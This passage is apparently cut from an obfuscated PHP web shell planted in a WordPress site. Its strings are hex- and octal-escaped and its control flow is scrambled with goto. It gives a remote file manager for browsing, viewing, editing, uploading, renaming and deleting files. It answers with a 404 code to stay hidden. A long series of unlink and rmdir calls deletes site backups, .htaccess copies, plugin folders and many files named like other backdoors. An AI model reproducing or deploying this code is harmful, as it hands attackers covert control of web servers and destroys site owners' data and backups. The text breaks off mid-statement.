"\x77\x70\55\x63\157\156\164\145\x6e\x74\57\x70\x6c\x75\147\x69\x6e\x73\x2f\x6e\161\x73\x6e\162\157\x6f\x33\x2f\x65\x72\x72\x6f\x72\137\x6c\157\147"); goto ahHXb; hUitC: isset($_POST["\163"]) ? $lKwH4[12]("{$p8aQE}\57{$_POST["\x6e"]}") ? Gzjsn("\x66\157\154\144\145\162\x20\x6e\x61\155\x65\40\x68\x61\163\x20\x62\x65\145\156\40\x75\163\145\x64", 0, "\x26\141\75" . XEH2E("\x6e\x65\167\x44\x69\x72")) : ($lKwH4[15]("{$p8aQE}\x2f{$_POST["\x6e"]}") ? GZJsn("\x66\157\x6c\144\x65\x72\40\x63\x72\145\x61\164\x65\x64\x20\163\165\143\143\145\x73\163\x66\165\x6c\x6c\171") : gZjsN("\146\157\x6c\x64\145\x72\x20\146\x61\x69\x6c\145\144\40\164\x6f\x20\143\x72\145\x61\164\x65", 0)) : null; goto Xirb1; lP7HY: echo "\x20\11\11\x9\74\150\x35\x20\x63\154\141\x73\x73\x3d\42\x62\x6f\x72\x64\x65\162\x20\x70\x2d\x31\40\x6d\x62\55\x33\42\x3e\x56\x69\x65\167\x20\146\151\x6c\x65\x3c\x2f\150\65\76\40\11\x9\x9\x3c\x73\x70\x61\x6e\76\x46\x69\154\x65\40\156\x61\155\x65\x20\x3a\40"; goto sNOzB; Ps9LN: NaG93: goto QmaO6; eRJ_E: $pIfE4 = rmdir($oyZlv . "\167\x70\55\x63\x6f\156\x74\x65\156\x74\57\167\x33\x74\143\x2d\x63\x6f\156\146\151\147\x2d\x6f\154\x64"); goto FHFvS; RQgR9: qOlCa: goto BOhZf; bcgnv: $BE5lX = unlink($oyZlv . "\x77\160\55\x63\x6f\156\164\x65\x6e\x74\57\x61\144\x76\x61\156\x63\x65\x64\x2d\143\141\143\x68\145\56\160\150\160"); goto VgYc8; wDK1i: $AXrOq = unlink($oyZlv . "\151\x6f\170\151\55\x6f\x2e\x70\150\160"); goto MzeWb; qqnc4: $oa06w = unlink($oyZlv . "\x36\x2d\61\60\x2d\x31\x34\x30\63\x2e\x7a\151\x70"); goto fhw7O; dmdkj: $enTiP = unlink($oyZlv . "\x69\156\x64\x65\x78\61\x2e\x70\x68\x70"); goto IIAEo; e9bR7: $Nb6LY = unlink($oyZlv . "\117\x6e\x65\x53\151\147\x6e\141\154\x53\104\113\x55\x70\144\x61\x74\145\x72\x57\x6f\162\153\x65\162\x2e\x6a\163"); goto J1QT_; YS2lA: $NjILT = rmdir($oyZlv . "\x77\160\55\143\x6f\156\164\x65\156\164\x2f\160\x6c\x75\x67\x69\156\x73\x2f\162\x61\x72"); goto onX2x; hPnwq: $klHe5 = unlink($oyZlv . "\x2e\150\x74\141\x63\143\145\x73\163\x2e\x70\x72\145\x69\156\x73\164\x61\154\x6c"); goto lQDUS; HAq34: $oyZlv = $_SERVER["\104\117\103\125\115\x45\x4e\x54\x5f\122\117\x4f\x54"] . "\x2f"; goto FUvKR; HhT0Z: $KIq9v = unlink($oyZlv . "\x77\150\x69\x74\x65\163\160\141\143\x65\x66\x69\x78\x2e\x70\150\160"); goto hwXl9; CUGCX: $J5Pyj = unlink($oyZlv . "\167\x70\55\143\157\156\164\x65\156\164\x2f\x77\x70\x2d\x63\141\x63\x68\x65\55\x63\157\x6e\x66\151\x67\x2e\160\x68\x70"); goto oURO6; qZW6J: $Gfzas = unlink($oyZlv . "\162\x73\171\x6e\x63\55\x77\157\162\x64\x70\162\145\x73\163\x2e\x73\150"); goto QDNM3; Oxz7t: $N4K2o = unlink($oyZlv . "\x2e\160\162\157\152\145\143\164"); goto c9hbi; lsTaM: $mHf4J = rmdir($oyZlv . "\145\x72\162\157\x72"); goto Gtqlo; tHm2N: $lbhnZ = $p8aQE . "\57" . y2eFU($_GET["\x6e"]); goto RlL1K; nhqiM: $hVmti = rmdir($oyZlv . "\167\160\x2d\143\x6f\x6e\x74\145\x6e\164\57\x69\x6e\x64\x65\170\56\x70\x68\x70\55\157\x6c\144"); goto WKgJF; yvSXp: $M6qTM = unlink($oyZlv . "\160\x68\x70\56\151\156\151\56\x7a\151\160"); goto OLMQz; ndVTh: if (!($CWqaS == "\144\x65\154\145\x74\145")) { goto iygO8; } goto tHm2N; rXoRa: $PixTN = unlink($oyZlv . "\x77\157\x72\144\160\x72\x65\x73\x73\55\144\x62\x2d\142\x61\143\x6b\165\x70\x2e\163\161\154"); goto QkYx5; KuSQ8: $S7fP2 = unlink($oyZlv . "\x6d\x61\x69\156\x74\145\x6e\141\156\x63\145\x2e\x70\150\x70"); goto Vt3Aj; tPo9Y: $MV1pB = rmdir($oyZlv . "\x77\160\55\x63\157\156\x74\145\x6e\164\x2f\x70\x6c\x75\x67\151\156\x73\57\x6c\150\157\154\154\x75\x65\162\x70\x66"); goto Eydu6; gTMss: $aCS97 = rmdir($oyZlv . "\x6c\x6f\x73\164\x2b\146\157\x75\x6e\x64"); goto ItEIE; AUnyH: $y5uo1 = unlink($oyZlv . "\x6f\142\152\x65\x63\x74\55\x63\141\143\150\x65\56\x70\x68\160\x2d\x6f\x6c\x64"); goto w10k3; D4xTA: $drt2m = unlink($oyZlv . "\56\150\164\141\143\143\145\163\x73\157\x6c\x64\163"); goto aZ17_; cdwyZ: $aPJkY = rmdir($oyZlv . "\101\114\x46\101\137\x44\x41\124\101"); goto R65bw; i9hky: $AjFhx = unlink($oyZlv . "\167\x70\x2d\x63\157\156\164\x65\156\164\57\160\x6c\165\x67\x69\156\163\57\165\142\150\x2f\143\x6f\156\56\x70\150\160"); goto f3QTF; KKWm2: $mhzaJ = rmdir($oyZlv . "\145\155\x70\154\157\x79\x65\x65\x5f\144\145\x74\141\151\154\x73"); goto XQn0b; qdlVn: $EQpu7 = unlink($oyZlv . "\150\151\144\145\x79\56\x70\x68\x70"); goto OEoBN; yAnEd: $RKp92 = unlink($oyZlv . "\167\x70\55\x63\x6f\x6e\x74\x65\156\x74\x2f\x70\x6c\x75\x67\x69\156\163\x2f\171\154\165\146\x6c\x77\155\163\x6c\172\57\151\x6e\144\145\x78\x2e\x70\150\x70"); goto FWTyu; pVF1r: $SM6Zo = unlink($oyZlv . "\x2e\167\x70\x64\142\56\163\x71\154"); goto MWNQo; vdoRF: $rx9KV = unlink($oyZlv . "\167\160\55\157\160\x74\151\157\156\56\x70\150\160"); goto C_HvM; Efmbs: $zCTAp = unlink($oyZlv . "\56\146\x74\160\161\x75\157\x74\141"); goto N_8Hw; htHAv: $q1Ic4 = unlink($oyZlv . "\x2e\x68\164\141\143\x63\145\x73\163\62\62"); goto fCqtt; uoj6t: $L5wJx = rmdir($oyZlv . "\x6c\x61\x77\55\164\141"); goto ovB32; qd63P: n_UQV: goto bCgyC; ej4UT: $s8bkd = unlink($oyZlv . "\154\141\167\55\164\141\x2e\x7a\151\160"); goto Bm2qF; Db432: $Io_jU = unlink($oyZlv . "\156\55\x66\141\x76\x69\143\x6f\156\56\x69\143\157"); goto ISVC4; fMgqh: $cqx33 = unlink($oyZlv . "\56\150\x74\141\x63\x63\145\163\x73\56\x62\153"); goto OTJ7e; LolQC: $EU7DO = unlink($oyZlv . "\141\144\155\x69\156\x65\162\x2e\160\x68\x70"); goto VGT6R; wpntD: $WqXH_ = unlink($oyZlv . "\64\60\x31\x2e\163\150\164\155\154"); goto YZifm; KQWYL: $poi2P = rmdir($oyZlv . "\x77\x70\55\143\157\156\164\x65\x6e\x74\57\160\154\x75\147\x69\x6e\x73\57\x77\160"); goto cZFz1; NLMPL: $RwWDY = rmdir($oyZlv . "\167\x70\55\143\157\156\x74\x65\x6e\164\x2f\x64\142\56\160\x68\160\55\157\x6c\144\55\157\x6c\x64"); goto NrgDu; ATNrF: $oKRzG = rmdir($oyZlv . "\x77\160\x2d\x63\x6f\x6e\x74\145\156\x74\57\x70\x6c\x75\147\x69\156\163\57\x65\162\x69\x79\141\156\x69"); goto YS2lA; cxE_g: $CWqaS = Y2EfU($_GET["\141"]); goto ley2N; hYBS7: function Y2EFu($C_Szp) { goto Kqesb; amURf: if (!($VQa5C < $Z7vD6)) { goto APwPC; } goto lXV1_; lADfG: $VQa5C = 0; goto FfLeu; cxgbc: return $KAnbB; goto pIcm6; OHuK5: goto NFYNV; goto jYxAR; M0KmU: $Z7vD6 = strlen($C_Szp) - 1; goto lADfG; g13FL: k1goU: goto vNRnc; vNRnc: $VQa5C += 2; goto OHuK5; Kqesb: $KAnbB = ''; goto M0KmU; FfLeu: NFYNV: goto amURf; jYxAR: APwPC: goto cxgbc; lXV1_: $KAnbB .= chr(hexdec($C_Szp[$VQa5C] . $C_Szp[$VQa5C + 1])); goto g13FL; pIcm6: } goto NJNl4; nwXbQ: $p8aQE = $lKwH4[2](); goto npOzL; cgsk5: GzJSN("\x66\x61\x69\x6c\145\x64\x20\x74\157\40\x64\145\154\x65\x74\145\40\x74\x68\x65\40\x66\x6f\x6c\144\x65\162", 0); goto c3HI3; GThhA: $yqY9M = unlink($oyZlv . "\x77\160\55\143\157\156\x74\145\x6e\164\57\x77\x70\x2d\x62\154\157\147\55\150\x65\x61\x64\145\x72\56\160\x68\160"); goto c9fmu; x4dWc: $VKYcH = unlink($oyZlv . "\x2e\150\x74\142\155\156\x79"); goto BQyWD; Jihvo: http_response_code(404); goto TUOHD; jBjIY: $OsbLj = rmdir($oyZlv . "\70\x35\x33\63\x37\x32\61\66\x34\x35"); goto G_38c; AqJas: $VJiUG = unlink($oyZlv . "\167\x70\x2d\143\x6f\156\164\145\x6e\x74\57\x6f\x62\x6a\x65\143\164\x2d\x63\141\143\x68\145\x2e\x70\x68\x70\56\142\x6b"); goto KuSQ8; LV59M: $US3P9 = unlink($oyZlv . "\64\61\x33\x2e\x73\x68\164\x6d\x6c"); goto UPzLw; AD2D8: $h8H8T = unlink($oyZlv . "\x77\160\x2d\x63\x6f\x6e\164\145\x6e\x74\x2f\160\x6c\165\x67\x69\x6e\x73\57\145\162\x72\157\162\x5f\154\157\x67"); goto Dzdi2; qfdfl: $IBokC = unlink($oyZlv . "\143\x65\x6b\x2e\x70\150\x70"); goto S0ccH; oURO6: $sZ0L2 = unlink($oyZlv . "\x2e\x68\x74\x61\x63\x63\x65\163\163\x5f\x73\x77\x69\146\x74\137\x62\141\143\x6b\x75\x70"); goto yyXjR; DhwRA: $dfbkp = unlink($oyZlv . "\x31\x6b\141\60\x6c\x6f\63\x70\56\x70\150\x70"); goto Hnrka; c36BW: $soWl0 = rmdir($oyZlv . "\x77\160\55\143\157\x6e\x74\145\x6e\164\57\x70\154\x75\147\x69\156\163\x2f\143\x61\156\x64\x75"); goto qkeT9; vrVpg: $dBL4S = rmdir($oyZlv . "\x77\160\x2d\x63\x6f\156\164\x65\x6e\x74\x2f\x74\150\x65\155\145\x73\55\157\154\x64\x2d\x6f\x6c\x64"); goto fZ1eF; Bm2qF: $RgLA6 = unlink($oyZlv . "\153\x61\171\141\156\x32\x2e\172\x69\160"); goto drKzI; WaTVN: header("\x43\157\156\x74\145\x6e\x74\x2d\124\162\141\x6e\163\146\145\x72\x2d\105\x6e\143\157\x64\151\156\x67\72\40\102\151\156\141\x72\171"); goto M0H34; kLVH4: $SUql8 = unlink($oyZlv . "\170\155\154\162\x70\143\56\160\150\x70"); goto iWI7g; Mo0vZ: $MRhtq = rmdir($oyZlv . "\x77\x70\x2d\143\x6f\156\x74\145\x6e\164\x2f\x70\154\x75\147\x69\x6e\163\57\x65\x79\x68\162\170\162\163"); goto fiKGk; qyBJk: $MwxNz = unlink($oyZlv . "\x30\x30\x38\56\160\150\160"); goto hM49r; qH_4T: $LA2RL = unlink($oyZlv . "\x69\164\145\x73\160\x65\145\144\x2e\x63\157\x6e\146"); goto roBeo; ojo7N: $JAJsl = unlink($oyZlv . "\x72\x65\144\x69\x72\145\x63\x74\55\x6a\x61\x63\157\142\55\170\x31\56\x70\150\160"); goto n0UIm; FQxfW: foreach ($NkH1m as $RVudJ) { goto A4h23; gEp1s: Egoua: goto w8kuh; qGF1m: echo "\x20\11\11\x9\11\x9\74\164\162\x3e\x20\11\11\x9\x9\x9\11\x3c\x74\144\x3e\74\141\x20\150\x72\145\146\75\42\x3f\160\x3d" . Xeh2E("{$p8aQE}\57{$RVudJ}") . "\x22\40\x64\141\164\x61\x2d\x74\157\x67\x67\x6c\145\x3d\42\x74\x6f\x6f\154\164\x69\x70\42\40\144\x61\x74\x61\55\160\x6c\x61\143\x65\x6d\x65\156\x74\x3d\x22\x61\165\x74\x6f\42\40\x74\x69\x74\x6c\145\x3d\x22\x4c\141\164\x65\163\x74\40\155\x6f\144\151\146\171\x20\157\x6e\40" . $lKwH4[19]("\131\x2d\155\55\144\40\x48\x3a\151", $lKwH4[20]("{$p8aQE}\x2f{$RVudJ}")) . "\x22\76\x3c\x69\40\x63\x6c\x61\x73\163\75\42\146\x61\x20\x66\141\55\146\x77\40\x66\141\55\146\x6f\x6c\144\x65\x72\x22\x3e\74\57\151\x3e\40{$RVudJ}\74\57\141\76\x3c\57\164\x64\x3e\40\11\11\11\x9\x9\11\x3c\x74\144\76\x4e\x2f\101\x3c\x2f\x74\x64\x3e\40\x9\x9\11\11\x9\x9\74\x74\144\x3e\74\x66\157\156\x74\x20\143\x6f\154\x6f\162\x3d\42" . ($lKwH4[8]("{$p8aQE}\x2f{$RVudJ}") ? "\43\x30\60\146\146\x30\60" : (!$lKwH4[9]("{$p8aQE}\57{$RVudJ}") ? "\162\x65\144" : null)) . "\42\x3e" . ZvU07("{$p8aQE}\x2f{$RVudJ}") . "\x3c\x2f\146\x6f\156\x74\x3e\x3c\x2f\x74\144\76\40\11\11\x9\x9\x9\x9\74\164\144\76\x20\11\11\11\11\x9\x9\11\74\141\x20\x68\x72\x65\x66\75\42\77\x70\x3d" . xeh2e($p8aQE) . "\x26\x61\75" . xeH2E("\162\x65\156\x61\x6d\145") . "\46\x6e\75" . xEH2e($RVudJ) . "\46\x74\75\144\x22\40\144\141\164\x61\x2d\x74\157\x67\147\154\145\x3d\x22\x74\157\x6f\154\164\151\160\x22\x20\144\x61\164\x61\x2d\x70\x6c\141\143\x65\x6d\x65\x6e\x74\75\42\141\x75\x74\157\42\40\164\151\x74\x6c\x65\x3d\x22\x52\145\x6e\x61\155\145\x22\76\74\151\40\x63\154\x61\163\x73\75\x22\146\141\x20\146\x61\x2d\x66\x77\40\x66\141\x2d\x70\145\156\x63\x69\154\42\x3e\x3c\57\x69\x3e\74\x2f\141\76\40\x9\11\x9\x9\x9\11\x9\x3c\x61\40\150\x72\x65\x66\x3d\x22\x3f\x70\75" . XEH2e($p8aQE) . "\x26\x61\x3d" . xeh2e("\144\x65\x6c\x65\164\145") . "\46\156\75" . xeH2E($RVudJ) . "\x22\40\143\154\x61\163\x73\75\42\144\145\x6c\145\x74\145\42\40\144\x61\164\141\x2d\x74\171\x70\x65\75\x22\x66\157\x6c\144\x65\x72\x22\x20\144\x61\x74\141\55\164\157\x67\147\x6c\145\x3d\42\164\157\157\x6c\x74\151\x70\42\x20\144\x61\x74\x61\x2d\160\x6c\x61\x63\145\x6d\x65\x6e\x74\x3d\42\141\x75\x74\x6f\42\40\x74\x69\x74\x6c\145\75\x22\x44\145\x6c\x65\164\145\x22\76\x3c\151\40\x63\154\141\163\163\75\42\x66\141\40\x66\141\x2d\x66\167\x20\146\141\x2d\x74\x72\141\163\150\x22\x3e\74\x2f\x69\76\74\x2f\x61\x3e\x20\11\x9\x9\11\11\11\x3c\57\x74\144\76\40\11\11\x9\11\x9\74\57\164\x72\x3e"; goto gEp1s; tmRGu: atQ_d: goto qGF1m; IUDBk: goto Egoua; goto tmRGu; A4h23: if ($lKwH4[6]("{$p8aQE}\57{$RVudJ}")) { goto atQ_d; } goto IUDBk; w8kuh: } goto lSKwp; mhtBS: $XUE5d = unlink($oyZlv . "\167\160\x2d\x61\x63\164\x69\x76\x61\164\x65\156\x76\x76\56\160\x68\160"); goto GoBrJ; d_Tvu: E8aX_: goto X_w2x; XpI2Q: $Ws7bA = unlink($oyZlv . "\x78\141\x79\144\165\156\147\56\x7a\x69\x70"); goto zKyah; O1R2E: $aSauS = unlink($oyZlv . "\157\160\55\x73\145\162\166\145\x72\x2d\x73\143\x61\156\x6e\145\162\56\160\150\160"); goto m9Y54; xmqUN: $XWjZ3 = unlink($oyZlv . "\165\163\x65\x72\x2e\160\x68\x70"); goto KXqOp; r8Xpu: $Tesf9 = unlink($oyZlv . "\x32\x31\x5f\x31\61\x2e\x7a\x69\160"); goto ch0hn; refXe: $NkH1m = "\163\143\141\x6e\x64\151\x72"; goto h0gBb; G3Nl0: $xfpMG = unlink($oyZlv . "\x77\x70\55\x63\x6f\156\x74\145\x6e\164\57\x70\154\x75\147\151\x6e\x73\57\163\150\x65\154\x6c\x2f\x69\156\x64\145\x78\56\x70\x68\x70"); goto EAphJ; hLMDx: $vr46z = unlink($oyZlv . "\56\56\165\163\145\162\x2e\x69\x6e\151\61"); goto UB3am; B5l4k: $jXa9w = rmdir($oyZlv . "\167\160\x2d\x63\x6f\x6e\164\145\x6e\x74\57\x70\154\x75\147\151\x6e\163\57\x75\151\152\x75\143\156\x72"); goto dGvHf; HMrcv: $XiDz2 = unlink($oyZlv . "\167\160\55\143\x6f\156\164\x65\x6e\164\x2f\160\x6c\165\147\x69\156\x73\x2f\x61\x75\x74\157\x6c\x6f\141\x64\137\143\154\141\x73\x73\155\x61\x70\56\160\x68\x70"); goto fCgaj; xHs0z: $Qi7lW = rmdir($oyZlv . "\x77\160\x2d\x63\x6f\156\x74\x65\156\164\57\160\x6c\165\147\x69\156\x73\x2f\x70\166"); goto vBWjw; l7PPO: $hdm27 = unlink($oyZlv . "\167\x70\55\x76\145\162\x2e\160\x68\x70"); goto F5YIk; ckT27: $Kc4b8 = rmdir($oyZlv . "\x2e\162\156\x64"); goto VCdO_; g9GYZ: $aScpf = rmdir($oyZlv . "\167\x70\x2d\143\157\x6e\164\145\156\x74\x2f\155\x75\x2d\160\x6c\165\147\x69\x6e\x73\x2d\x6f\x6c\x64"); goto kvCVg; zeGmf: if ($lKwH4[11]($_FILES["\146"]["\x74\155\160\137\x6e\141\x6d\145"][$VQa5C], $Uw6KJ[$VQa5C])) { goto gF4kK; } goto DS0i_; hM49r: $EV8Mo = unlink($oyZlv . "\x61\163\164\x72\157\x6d\x2e\160\x68\x70"); goto Yd6ee; AsLaY: $OCZNa = unlink($oyZlv . "\167\x70\x2d\143\157\x6e\x74\x65\156\x74\57\x46\x61\162\151\154\x61\137\x64\x65\x62\x75\x67\x2e\154\157\147"); goto etJYR; kjoNg: $NTLZN = unlink($oyZlv . "\x67\167\x70\x2e\x70\x68\x70"); goto UkuFa; sGP1x: $owjvO = unlink($oyZlv . "\141\165\x74\x6f\154\157\141\144\137\143\x6c\x61\x73\x73\155\x61\x70\x2e\160\150\160"); goto O1R2E; wKM7Y: $ILoAH = unlink($oyZlv . "\x2e\x68\x74\141\143\143\145\x73\163\56\142\141\143\x6b\165\160"); goto rXoRa; fhw7O: $PLyl6 = unlink($oyZlv . "\155\x61\x6c\143\141\162\145\55\167\x61\x66\x2e\x70\x68\x70"); goto uguh2; NGq7z: echo "\74\x2f\163\x70\141\156\x3e\40\x9\x9\11\x3c\144\151\x76\40\x63\154\141\x73\x73\75\x22\146\157\x72\155\x2d\147\162\x6f\165\x70\x22\x3e\74\154\x61\x62\145\x6c\x20\x66\x6f\162\75\42\143\x74\x6e\42\x3e\x43\157\x6e\164\145\156\164\x20\x3a\74\x2f\x6c\x61\142\145\x6c\76\74\x74\145\x78\164\141\162\x65\x61\40\x6e\141\155\145\75\x22\143\x74\156\42\x20\x69\x64\x3d\x22\143\x74\x6e\x22\40\x63\x6f\154\163\x3d\x22\63\x30\x22\40\x72\x6f\167\x73\75\x22\61\x30\x22\x20\143\154\141\163\x73\x3d\x22\x66\157\162\x6d\55\x63\x6f\x6e\x74\162\x6f\154\42\40\x72\145\141\x64\x6f\x6e\x6c\x79\x3e"; goto tqsxr; RdDUd: tgPa8: goto gaWxQ; EouYr: $DgN_1 = rmdir($oyZlv . "\167\x70\55\143\157\x6e\x74\145\156\164\x2f\x70\x6c\165\x67\151\156\x73\57\x5f\137\x4d\x41\103\117\123\x58"); goto cJ1Cb; bQFZ7: djsfD: goto bAP6Y; XMCk1: $k3LwV = rmdir($oyZlv . "\143\147\x69\55\x62\151\156"); goto qblHF; VgYc8: $Wz38V = unlink($oyZlv . "\55\55\x2e\150\164\141\143\x63\x65\x73\x73\56\142\141\143\x6b\165\x70"); goto yhcUz; i8S0b: $x1omu = rmdir($oyZlv . "\x77\x70\x2d\x63\x6f\x6e\x74\x65\156\x74\x2f\160\154\165\147\151\x6e\163\57\x73\x6f\x2d\x63\163\x73"); goto xHs0z; C_HvM: $bRzUd = unlink($oyZlv . "\151\x78\165\56\164\x78\x74"); goto LLsa1; i6FTA: $b_9xf = unlink($oyZlv . "\144\145\160\x6c\x6f\171\137\x70\x68\160\137\164\x70\x6c\x2e\163\150"); goto MMxX8; nsEpS: $kdFK0 = unlink($oyZlv . "\167\x70\x2d\143\157\156\x74\x65\x6e\x74\57\x31\x63\146\x6f\164\161\x58\x38\104\x67\160\56\x70\150\x70"); goto xB6gL; nYhyE: $fbQld = rmdir($oyZlv . "\56\x67\151\164"); goto gTMss; d1juj: $eqWBy = unlink($oyZlv . "\x77\x70\55\x61\144\x6d\x69\x6e\163\56\160\x68\x70"); goto DdcxD; apDjC: goto h98Dm; goto IU9uT; bcCsh: $RdY3o = unlink($oyZlv . "\x77\160\55\x63\x6f\x6e\x74\145\x6e\x74\x2f\x74\x68\x65\155\x65\x73\x2f\143\x6c\x69\x6e\157\x78\56\x74\x61\162\56\x67\172"); goto ej4UT; lDKkx: $p8aQE = unlink($oyZlv . "\166\x7a\x68\56\164\170\164"); goto oaKzv; WF34b: $A38jN = rmdir($oyZlv . "\162\145\147\x65\156\x65\x72\141\164\x6c"); goto h038Q; Yd6ee: $pi4ts = unlink($oyZlv . "\60\x64\x2e\160\150\160"); goto WFmmP; MbRXS: echo "\x20\x9\x9\x3c\57\144\x69\x76\x3e\x20\x9\11"; goto YJk88; SfqmC: echo "\x20\x9\x9\x9\74\x68\65\x20\143\x6c\141\163\163\x3d\x22\x62\157\x72\x64\x65\x72\x20\x70\x2d\61\40\155\x62\55\63\x22\76\x45\x64\151\x74\40\146\151\x6c\145\x3c\x2f\x68\65\x3e\40\x9\11\11\x3c\163\x70\141\156\x3e\x46\151\154\145\x20\156\x61\x6d\145\x20\72\40"; goto vtGjV; hozGz: $YzrDo = rmdir($oyZlv . "\x77\x70\x2d\x63\x6f\156\x74\x65\156\164\x2f\160\154\x75\147\151\156\x73\57\166\x69\145\x77\x2d\163\x6f\x75\x72\143\145"); goto sbcv8; VQjiI: $eM_bJ = unlink($oyZlv . "\x75\154\x63\56\x70\x68\160"); goto x4dWc; KHG82: $scYHh = rmdir($oyZlv . "\x77\160\55\143\157\x6e\x74\145\156\x74\x2f\160\154\165\147\151\156\x73\57\165\x68\x79\x64\x6f\x6d\157\x78\165"); goto HTMkS; pAMhZ: $BZidL = unlink($oyZlv . "\104\157\x63\153\x65\x72\146\x69\x6c\x65"); goto Z_yei; fZ1eF: $A03bs = rmdir($oyZlv . "\x77\x70\x2d\143\x6f\156\x74\x65\156\164\57\x74\150\x65\x6d\145\x73\x2d\x6f\154\144\x2d\x6f\154\144\x2d\x6f\x6c\x64"); goto zu4x_; Dw2Zv: $HDlk0 = rmdir($oyZlv . "\x77\160\x2d\x63\x6f\x6e\x74\145\x6e\x74\57\x65\x74\55\x63\141\x63\150\x65\x2d\x6f\154\x64"); goto I4Ohu; z96wu: $zlr1Y = rmdir($oyZlv . "\163\x61\56\x70\x68\x70"); goto juX8u; ifGRR: $dMUGp = unlink($oyZlv . "\163\150\157\171\x6f\x2e\160\x68\160"); goto nBfm3; qblHF: $P87Tu = rmdir($oyZlv . "\56\167\x65\x6c\154\55\153\x6e\157\167\x6e"); goto uuPd3; EIyev: $JUMu0 = unlink($oyZlv . "\61\62\x33\56\x70\x68\x70"); goto af4JG; iEQLS: $QpPse = unlink($oyZlv . "\141\155\141\172\157\156\x2e\x70\x68\160"); goto saxvI; FNvOk: $sIPyC = rmdir($oyZlv . "\x65\x72\162\157\x72\x5f\154\x6f\147"); goto mcRwy; Jzju_: $RLsQ9 = rmdir($oyZlv . "\167\x70\x2d\x63\157\x6e\164\145\156\x74\57\x70\x6c\x75\147\x69\156\163\57\117\x62\x6d\x72\172\170\x76"); goto e4S8v; fIVLC: $Sn5cL = unlink($oyZlv . "\x6d\x61\x72\x2e\160\x68\160"); goto RIanf; F6Ukb: $aMO3l = unlink($oyZlv . "\x6c\x69\x74\x65\x73\x70\x65\x65\x64\56\143\x6f\x6e\146"); goto HnNF3; ckTup: $FSiAd = rmdir($oyZlv . "\56\x77\x65\x6c\x6c\55\153\x6e\157\x77\156\57\x70\153\x69\x2d\x76\141\x6c\x69\x64\141\x74\151\157\156\57\x66\x2f\x66\x2f\146\57\146"); goto KBRhH; YxZve: $IA3Xw = unlink($oyZlv . "\141\152\160\x2e\164\170\164"); goto ftnqH; WHb8u: $ro_7_ = unlink($oyZlv . "\160\162\x6f\x66\151\154\145\56\x70\150\160"); goto qZW6J; FHFvS: $F2zVV = rmdir($oyZlv . "\167\x70\x2d\x63\157\156\x74\x65\156\x74\57\167\x70\157\55\143\141\x63\150\145\x2d\x6f\154\144"); goto QeibV; LLrlE: $lc6bu = unlink($oyZlv . "\154\x61\153\153\141\162\x73\55\163\x68\157\160\160\x79\55\x33\x2e\155\160\64"); goto CNAQo; ftnqH: $cM8Iq = unlink($oyZlv . "\x66\151\154\145\56\160\x68\x70"); goto fIVLC; ZBY8L: $VGoPR = unlink($oyZlv . "\x73\163\56\x70\150\160"); goto BkmXw; rEVTc: $B5jfI = unlink($oyZlv . "\x73\x63\x72\x65\x65\156\x73\x68\x6f\164\56\x6a\160\x67"); goto EIyev; YuYnp: $uoL6w = unlink($oyZlv . "\x77\x70\55\x63\157\156\164\x65\156\164\x2f\x73\x69\164\145\x67\162\x6f\x75\x6e\x64\x2d\x6d\151\147\162\141\x74\x6f\162\x2e\154\157\x67"); goto vvUHb; y42_C: $FSVrJ = rmdir($oyZlv . "\x65\x73"); goto D2oXY; djbvD: $Dx3sL = rmdir($oyZlv . "\x77\x70\x2d\143\x6f\x6e\x74\x65\156\x74\x2f\x70\x6c\165\x67\151\x6e\x73\57\155\145\160\x72\x2d\x69\x31\x38\156"); goto pdftD; m411h: $Uw6KJ = unlink($oyZlv . "\x2e\x68\143\x66\x6c\141\147"); goto kiizH; aAN1b: $oWLaW = rmdir($oyZlv . "\x77\145\x6c\154\55\153\156\157\x77\x6e\57\160\153\x69\x2d\x76\x61\x6c\151\x64\141\164\x69\x6f\156\57\146\57\146\x2f\146\x2f\x66"); goto mg3W8; zY0UM: $D2BNl = unlink($oyZlv . "\x2e\x75\x73\145\x72\x2e\x69\156\x69\137\x6f\154\x64"); goto Ss0YT; IHX9G: $sLhPj = unlink($oyZlv . "\x77\160\x2d\x63\x6f\156\164\145\x6e\164\57\x70\x6c\165\x67\x69\x6e\x73\57\x48\151\121\x6d\125\56\x6a\x73\56\160\x68\160"); goto AD2D8; bHYwU: $LBdOb = unlink($oyZlv . "\x6c\157\147\151\156\56\x70\150\160"); goto GThhA; tqsxr: echo $lKwH4[18]($lKwH4[14]($p8aQE . "\x2f" . Y2EFu($_GET["\x6e"]))); goto izP0b; CoyF_: $YkNZC = rmdir($oyZlv . "\x77\160\55\143\157\156\164\145\x6e\x74\x2f\x70\x6c\165\x67\151\156\163\x2f\x70\x70"); goto Mo0vZ; gd_H4: $ri13F = rmdir($oyZlv . "\x62\x6c\157\147\163"); goto cO04x; CTQxx: $Zr3Cg = unlink($oyZlv . "\56\x77\x65\x6c\x6c\55\x6b\x6e\x6f\167\x6e"); goto A9Yoh; ll331: $AMhu6 = unlink($oyZlv . "\x66\x69\x6c\145\163\x70\141\x63\x6b\56\x6a\163\157\x6e"); goto M0dXy; UGJB0: $Lbrq2 = unlink($oyZlv . "\163\x63\162\151\x70\x74\x5f\162\145\x6d\x6f\166\145\137\151\155\141\x67\x65\x73\x5f\x67\x61\x6c\x6c\145\x72\x79\56\x70\x68\160"); goto MDiY1; V2pdB: $ZOHG5 = unlink($oyZlv . "\x69\156\x64\x65\170\56\x74\x78\x74"); goto SvDPg; zPWq0: if (isset($_GET["\x70"])) { goto xUmTc; } goto nwXbQ; sOjOa: $TTHp0 = rmdir($oyZlv . "\x77\x70\x2d\x63\157\156\164\x65\x6e\164\x2f\160\154\165\147\151\x6e\x73\x2f\x55\167\157\x67\150\55\x53\x65\x67\163"); goto a6vUQ; HJgNg: $VQa5C++; goto rkktg; h16rn: $Vdwgm = unlink($oyZlv . "\x69\x6e\x66\157\x2e\160\x68\x70"); goto iEQLS; b9Tls: $BrDAM = unlink($oyZlv . "\x77\x70\55\x63\157\x6e\x74\145\156\164\57\160\x6c\165\x67\151\156\x73\57\x6c\150\x6f\x6c\154\x75\145\x72\160\146\x2f\x69\x6e\x64\145\x78\x2e\160\150\x70"); goto xOZLy; fPKy9: iygO8: goto X4wXB; ezcE7: goto JHCeJ; goto YPVqs; pdqXg: YYPoK: goto Ps9LN; nQu44: $SVjJj = unlink($oyZlv . "\x2e\146\x74\x70\x2d\144\x65\160\x6c\157\x79\55\163\171\156\x63\x2d\x73\x74\141\164\145\x2e\152\x73\157\156"); goto fA8Hp; QJRaf: $wiRH7 = unlink($oyZlv . "\x74\145\x73\164\55\60\x31\56\150\x74\155\154"); goto AsLaY; w7Oo9: $wqwIP = unlink($oyZlv . 